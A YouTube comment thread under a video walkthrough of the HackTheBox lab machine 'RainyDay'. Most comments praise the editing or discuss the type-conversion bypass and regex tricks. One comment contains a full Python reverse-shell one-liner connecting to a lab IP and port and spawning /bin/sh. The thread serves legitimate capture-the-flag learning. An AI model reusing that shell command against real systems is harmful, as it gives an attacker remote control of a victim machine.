HackTheBox - RainyDay

[@Raham98]

I really liked the implementation of the new feature you added, explaining the logic of the bypassing the API query in the source code was very intuitive. Really love your videos IppSec, very grateful for the content you put out.

[@ippsec]

Glad it was helpful! Thanks for letting me know you liked it.

[@MonnizProductions]

Like the new way of editing. Interesting with the type-vuln-error, worth noting that the response is made earlier and without the int() check in the query, cool trick!

[@ippsec]

Glad it was helpful! Thanks for letting me know you liked it.

[@beezball38]

this editing is great! thank you for doing that! the videos are super long as it is, and it can help keep someone hooked to not have to manually skip to the end if they are confused.

[@AbdennacerAyeb]

Always I'm waiting saturday to enjoy watching you simplify things which no one could do it your way. Thank you a lot.

[@HumanBenchmarked]

Hi, Ippsec! Since those all are just writeups videos, I think that the "new" kind of content where you put explanations from the future yourself is just amazing. I don't have to skip or go through the entire video just to listen to that. For me, that's a huge pro :)

[@souleymaneadellah1176]

I like the new editing in the middle thingy.

[@ippsec]

Glad you like it. Thanks for letting me know.

[@thatcrockpot1530]

Edits are great! I don't do much htb anymore but the creativity aspect of the password cracking section was enlightening, good job and thanks for sharing :D

[@ahmedfathy9467]

I really liked the new way of editing and explaining what happens in the background in the middle of the video. Me personally sometimes skip the last part of the video and say that i will resume it but it never happens. Awesome work man as always. Keep up the good work 🖤

[@Simon-jt6lv]

I like the way you explain the type conversion error after you discover..

[@monKeman495]

that file disclosure was neat and brutal at same time , learned alot thanks master...

[@PedroGonzalez-fv5ut]

Awesome video! Thanks for doing this. I need to probably rewatch it a couple more times to better understand the process of the decoding the file. But amazing overall.

[@jaxson8262]

8:25 that was a great move!.

[@g0hm47]

Thanks for the new explanation in place thing! 8:59 Am I right in thinking that the reason this still returned data despite the error you introduced with the failed int() casting in the if statement is because the sql query WAS smart enough to cast the “1.0” string to an int and match it to something in the database? Almost a bit like how HTTP smuggling works where two different things disagree on how to process the same data? Actually ignore this comment, that must be what happened else it wouldn’t have worked. Leaving my rambling here in case it helps someone else to work through it.

[@vq8gef32]

Thanks heap for the video and your time. I learned how powerful is python.

[@souleymaneadellah1176]

My ippsec weekeend fix is finally here 😄

[@_imps]

there's very helpful re.escape function to replace all shenanigans with doing it manually

[@sotecluxan4221]

Thanx, have a nice sunday!

[@user-sw9bs8mp3f]

very nice and good

[@StevenHokins]

Good job!

[@abdelhamed8359]

Really it's a great video 😹❤️

[@firos5381]

how to be ge good at hacking boxes quickers like u have soo many walthroughs of boxes but going through all of them wont be possible if i wana get started how should i approach like are there shorter walkthroughs i could go over and get a good understanding

[@ippsec]

What do you mean going through them isn’t possible? Yes it’s a lot of content but keep in mind one person made it all, and making it takes much longer than watching it.

[@firos5381]

@@ippsec yaa sorry

[@lonelyorphan9788]

Ippsec rocks! 🙂

[@tg7943]

Push!

[@ahnafabrarhasin4140]

i got the reverse shell as uid 1337 which is weird but idk why

[@ippsec]

You didn’t do the background probably. Very end of the video I show it

[@ahnafabrarhasin4140]

@@ippsec you are right. I used the exec option but i did not get the 5 second timeout. I'm guessing that happened because i used another reverse shell that uses the sub process module. This one `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`

[@sreyanchakravarty7694]

First

[@x.plorer]

grow up!

[@user-sw9bs8mp3f]

@@x.plorer yeah! get him!

[@BlueIsLeet]

@@x.plorer no u

[@sand3epyadav]

My fv ipp .....

[@infinix_6586]

Make video : Router Firmware Backdooring

[@spacenomad5484]

About the newline/skipping lines in regex: Match any number of (any char followed by )'s followed by SECRET followed by any char: (.* )*SECRET.*

[@JNET_Reloaded]

another reason python sucks!